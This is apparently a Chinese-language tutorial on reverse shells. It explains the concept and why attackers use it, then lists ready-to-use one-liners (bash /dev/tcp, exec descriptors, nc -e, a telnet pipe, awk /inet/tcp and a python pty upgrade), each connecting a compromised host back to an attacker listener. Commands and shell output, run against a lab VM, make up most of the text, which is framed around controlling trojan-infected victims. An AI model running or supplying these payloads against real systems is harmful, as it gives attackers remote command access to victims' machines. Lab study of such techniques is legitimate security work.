文章目录
前言
(1)什么是反弹shell?
反弹shell(reverse shell),就是控制端监听在某TCP/UDP端口,被控端发起请求到该端口,并将其命令行的输入输出转到控制端。reverse shell与telnet,ssh等标准shell对应,本质上是网络概念的客户端与服务端的角色反转。
(2)为什么要反弹shell?
通常用于被控端因防火墙受限、权限不足、端口被占用等情形。
举例:假设我们攻击了一台机器,打开了该机器的一个端口,攻击者在自己的机器去连接目标机器(目标ip:目标机器端口),这是比较常规的形式,我们叫做正向连接。远程桌面、web服务、ssh、telnet等等都是正向连接。那么什么情况下正向连接不能用了呢?
有如下情况:
1.某客户机中了你的网马,但是它在局域网内,你直接连接不了。
2.目标机器的ip动态改变,你不能持续控制。
3.由于防火墙等限制,对方机器只能发送请求,不能接收请求。
4.对于病毒,木马,受害者什么时候能中招,对方的网络环境是什么样的,什么时候开关机等情况都是未知的,所以建立一个服务端让恶意程序主动连接,才是上策。
那么反弹就很好理解了,攻击者指定服务端,受害者主机主动连接攻击者的服务端程序,就叫反弹连接。
一、常用的反弹shell命令
1.使用Bash进行反弹
kali作为攻击主机,owasp作为被入侵主机,只要能在入侵主机上正常运行Linux命令就能实现反弹,利用Bash命令重定向。
(1).在kali上启动端口监听
nc -lvp 555 #这个端口可以是任意端口,只要不是被占用或者防火墙阻挡都可以用。
(2)在owasp上运行反弹命令
bash -i >& /dev/tcp/192.168.27.130/555 0>&1
命令解析:
bash -i #打开一个交互的bash
>& #将标准错误输出合并 并定向到标准输出,也可以写成&>
/dev/tcp/192.168.27.130/555 # 意为调用scoket,建立socket连接,其中192.168.27.130为要反弹到的主机,555为端口。
0>&1 #标准输入重定向到标椎输出,实现你与反弹出来的shell的交互,可以接受用户的输入,0>&1和0<&1是一样的作用
(3)反弹成功在kali上执行命令
root@owaspbwa:~# pwd
pwd
/root
root@owaspbwa:~# ifconfig
ifconfig
eth0 Link encap:Ethernet HWaddr 00:0c:29:f8:36:e7
inet addr:192.168.27.132 Bcast:192.168.27.255 Mask:255.255.255.0
inet6 addr: fe80::20c:29ff:fef8:36e7/64 Scope:Link
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
RX packets:430 errors:0 dropped:0 overruns:0 frame:0
TX packets:116 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:1000
RX bytes:28786 (28.7 KB) TX bytes:15275 (15.2 KB)
Interrupt:18 Base address:0x1400
2.使用exec执行shell的方式
(1)在kali上执行,监听555端口
nc -lvp 555
(2)在owasp上执行
exec 5<> /dev/tcp/192.168.27.130/555; cat <&5 | while read line; do $line 2>&5 >&5; done
#在owasp上执行完命令,返回kali端是没有任何提示付的符,直接执行命令即可。
3.其他方式
(1)在klai上监听555端口
nc -lvp 555
(2)在owasp执行命令
exec 0&0 2>&0 0<&196;exec 196<>/dev/tcp/192.168.27.130/555; sh <&196 >&196 2>&196
#执行完返回到kali里也是没有任何提示符,可直接执行命令
4.使用nc进行反弹
(1)在kali上进行端口监听
nc -lvp 555
(2)在centos7上执行反弹命令
nc -e /bin/bash 192.168.27.130 555
#执行完kali没有提示符,直接执行命令即可。
5.使用Telnet进行反弹
(1)需要在kali上开启两个端口,一个用来输入。一个用来输出。
nc -lvp 444
nc -lvp 555
#打开两个命令窗口同时执行
(2)在centos7上执行命令
telnet 192.168.27.130 444 | /bin/bash | telnet 192.168.27.130 555
#444为输入端口,555作为输出端口,在444端口执行命令,555端口输出结果。centos默认没有安装Telnet服务的要进行安装才能使用
6.使用awk进行反弹
(1)在klai监听端口
nc -lvp 555
(2)在centos上执行命令
awk 'BEGIN{s="/inet/tcp/0/192.168.27.130/555";for(;s|&getline c;close(c))while(c|getline)print|&s;close(s)}'
#执行完命令再kali没有任何提示符,直接执行命令即可。
7.建立交互式shell
反弹完shell之后可以建立交互式的shell,这样操作更加方便。
python -c 'import pty; pty.spawn("/bin/bash")'